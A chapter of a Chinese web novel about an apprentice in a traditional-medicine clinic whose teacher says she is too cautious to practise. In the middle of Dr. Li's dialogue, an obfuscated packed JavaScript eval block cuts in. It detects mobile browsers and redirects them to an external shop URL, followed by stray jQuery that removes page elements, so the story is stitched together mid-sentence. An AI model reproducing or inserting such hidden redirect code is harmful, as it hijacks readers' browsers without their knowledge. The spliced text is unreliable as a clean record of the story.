20. 挑破

作品:《长亭·终不晚

    【本文所提及的单味药、中成药、方剂皆不做疾病参考,若有不适,请及时线下就医,切勿拖延!下方药材注解为百度百科,请勿自行食用!】


    黄连:味苦,性寒。可清热燥湿,泻火解毒,为治湿热火毒之要药,最善中焦之火。


    满足得太快,让人防不胜防,惊讶之余又带了点“原来如此”的恍然。


    前几天去淘珊瑚玉,席尧从摊主那知道要来一批新货,保证会让她惊喜,所以这天趁着李大夫提前回家,她也紧跟着出了店门。


    新货确实让人兴致高涨,席尧认认真真挑了将近半个时辰,结账的时候因为买得多,里面还有两个手指大小的雕刻件,摊主便给抹了零。


    于是她开心地抱着东西准备回去,没想到转身瞧见了那头准备拐弯的两个人。


    熟人。


    席尧目光从一个身上转向另一个,两个熟人。


    ——


    季顺禹今天出门买笔墨,选了半天买了墨,笔却没有着落,他提溜着墨盒在三五街晃悠。


    反正这边文墨铺子多,可以慢慢逛。


    逛到一半就在不远处看到了熟悉的身影,女子抱着盒子,先是往路中间走了两步,然后停下,直直望着前面的什么。


    他顺着望去,那里有两人并肩而行,其中一个好像也是仁医馆的,另一个倒没见过。


    ——


    席尧对吴薇身边的男子有印象,上回从寺庙回来,他说是坐到北门,路上因为和车上的另一位女客到的地方相距不远,车夫便让他多坐了一段,所以她们下车的时候见过一面。


    仔细想想那时吴薇就不太对,下车的时候一个劲往她怀里靠,她还以为是病得不轻,后来压着人喝了两天姜汤。


    现在看来……


    不管怎么说,姜汤喝得不冤,辣在嘴里,甜在心里。


    席尧皱皱鼻子转身,难怪最近非要“回家吃饭”,晚上又不辞辛苦地跑回来。


    有人陪着来回,肯定不觉得累。


    脑门和抱着盒子的手忽然撞上了什么又软又硬的东西,脚底还踩了一个……她眼神下移,不是一个,是一只。


    席尧赶紧移开脚后退,慌忙道:“不好意思、不好意思……季公子?”


    道着歉一抬头,居然又是熟人,她更不好意思了,扫视着对方微红的下巴,再次献上诚恳的歉意。


    “我没事,倒是你的额头,都红了。”季顺禹抬手想去触碰,又觉不妥,只好胡乱指指。


    席尧一手揉头,道:“我也没事。”


    季顺禹逗她,“你看什么呢,这么专注,跟踩点的先头小兵似的。”


    她笑出声来,“怎么,季公子踩过?”


    反被将一军,他只好换了话题,送她回去。


    *


    可能是变天的原因,这两天病人多多,有时馆外还排起队来。


    昨天一番忙碌,今日坐馆的大夫被人临时请上门,李大夫一来就变坐诊。


    “……这副药里有香薷,你熬药的时候等放凉了再喝。”


    趁着李大夫给病人交代,席尧抬头数了数后面排队的人数,听见药名,记忆又重回脑海。


    香薷是夏季常用药,发汗解暑用水煎凉服,利水退肿就需浓煎……一晃这位“老朋友”的药材注解都能脱口而出了,她想到之前,只觉唏嘘。


    然后就听边上的人道:“李大夫,这石膏真能吃啊?”


    发问的是陪着病人来的亲属,扶着昏昏沉沉靠在肩头的病人,一边听注意事宜一边拿眼睛去描写好的药方,确定了上面写的是他所知道的那个“石膏”,脸色微变。


    “放心吧,吃的人没有一千也有八百了,赶紧抓了药回去熬一碗,人都烧糊涂了。”


    病情急,后面人也多,李大夫没有解释,催着人赶紧去,接着看下一个。


    对于不知情的人来说,石膏不属于能吃的范畴,但其实它专治壮热,经方里“麻杏石甘汤”的“石”就是此物。


    席尧目送亲属扶着人去那头抓药,接着蘸墨记方。


    “夏枯草,再加决明子……还有密蒙花。”


    她一边把李大夫说的写下,一边在心中回忆几药的区别。


    同是明目的药,有些力量更强,还兼有退翳之效,例如密蒙花,还能清热养肝。夏枯草有其独一无二的作用——治“目珠夜痛”;决明子则还可以润肠通便。


    所谓“诸子皆降,蔓荆独升。诸花皆升,旋覆独降。”


    席尧把相关重点提出,笔下最后一画勾完,把药方递给病人,又继续听写。


    “……侧柏叶。


    “方子你带回去,吃过这副再去抓一副,然后再回来看我。你一会去说一声,免得他们把药方收了,还有,让他们把里面的侧柏叶单独包起来。”


    后面的话是对着席尧说的,说完李大夫又转头对病人道:“单独包起来的是给你用来洗头的,每次煮水出来洗头就行。”


    ……


    终于看到最后一个,李大夫一句“先回家摘些野菊花洗洗,要是痱子没退你再来”把人送走,端茶一饮而尽,然后靠在椅背上不动弹了。


    席尧揉着手腕,也恨不能摊在桌上。


    休息了一会,便见李大夫示意把纸笔递过去,“忙到现在,胡老爷的方子还没写呢!”


    席尧看他挥笔,“您早上来得晚就是去看他了?……您终于还是把猛药用上了!”


    她从龙飞凤舞的字体中辨认出一味药,竣猛而有大毒,但能峻下逐水。


    “趁现在他还受得住,再晚,想用都使不上。”李大夫语调惆怅。


    此药伤正气,正气不足者万不能用。


    他之前要等的就是确认此事。


    不过,李大夫没好气地看一眼一脸迫不及待模样的人,“之前不是很认同我说的‘世上药多,不到万不得已,没必要盯着有毒的药使’,怎么这会看到大毒药倒激动起来了。”


    席尧撑着下巴,眨眨眼,“也不是……就是觉得终于来了。”


    就像是有一把悬起的闸刀,因为某些原因迟迟没落下来,现在终于挥下,虽然姗姗来迟,但通体舒泰。


    她把这种莫名的情绪收起,就听李大夫接着道:“你这想法要是能放到实处就好了,太过保守可成不了大夫。”


    犹如被泼了一瓢冷水,席尧没顾得上话后的那一声叹息,急切道:“什么意思?”


    话没收音,惊得几人朝这边看来。


    李大夫没想到小姑娘反应如此之大,顿了笔,想了想道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076523|193549||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “前段时间有个‘汗症’的,就是用了麻黄根那个,你还记得?”


    席尧点头。


    他又道:“当时我考你能用什么药,你其实是知道的。”


    李大夫笃定的眼神让席尧沉默,她确实想过用麻黄根,它专攻止汗,可是让她犹豫的,却是这汗要不要止,能不能止。


    “我没搭脉,不能确定他的病情……”


    这话也是侧面提醒李大夫:她学诊脉的那点皮毛连入门都算不上。


    她也是才知道,给自己把脉的正统方向是从手腕外侧搭向内测,而非像给别人搭脉一样从内到外。


    “好,那我再问你,今天那个眼生翳膜前来就医的,她的病因是什么?”


    席尧回忆了一下,道:“是肝热。”


    从药方中就能看出来,还有,病人舌头两侧泛红,双目也略有赤红。


    李大夫一笑,“你也没有把脉。”


    席尧忽然明了,怔在当场。


    大夫看病,并不只从脉象来看病情,望、闻、问、切,皆是他们的手段。


    李大夫道:“保守没错,可太过却不行。”


    “我猜猜,是因为现在有我顶着,而你又自觉学艺不精,所以不想妄言。可是你要明白,有我顶在前面,你才更该大胆。


    “退一步来说,是药三分毒,只要用药便没有绝对的安全,做咱们这行,不管不顾是大忌,瞻前顾后同样是忌讳,因为未必每一种病你都见过且能找到救治的办法,若是畏首畏尾耽误了病情,良机错失,就再扭转不回。


    “我已算小心,你可不能比我更甚啊。


    “你知道么,这世上学医的人千千万,有人医术平庸也能做大夫,可有人天资聪颖却做不了大夫。


    “唉,没心的人走不远,太有心的,也走不远,古人云‘中庸’,确实中庸之道才是千百年行之有效的那条路。”


    “其实那时看你肝有郁气我就应该想到此处的,想得多的人顾虑也会多。”他说到后面似乎沉浸在自己的思绪里,叹声停不下来。


    席尧同样如此。


    先前她火烧屁股似的解释,而现在听完话,那团火灭了,散开的烟雾缭绕在脑子里,四处游走,怎么也挥不去。


    她终于知道症结所在。


    虽然之前就有所感,但还是一直安慰自己“只是知其然还不知其所以然,以后都会好的。”


    而今天这番话,直直把问题挑出来,倒让她看清了问题不在于此。


    李大夫最后一句话说得明确,不是学识问题,是性格问题——虽然他的本意可能并非如此。


    但席尧已有所悟。


    她的确永远都在想——


    如果不是这个病怎么办?如果还有没发现的隐情怎么办?如果这个药对这个人不适用怎么办?


    学得愈多,越知道“失之毫厘,差之千里”,越束手无策。


    这才是最根本的问题。


    所以她的确不适合做一个大夫。


    想通的席尧浑身无力,好像所有的精气都已经被抽走。


    “……真是白费了您教我这么多东西。”


    李大夫听出话中的失落,道:“我说这些也只是想让你知道问题所在,泄什么气呀,以后慢慢调整就好。”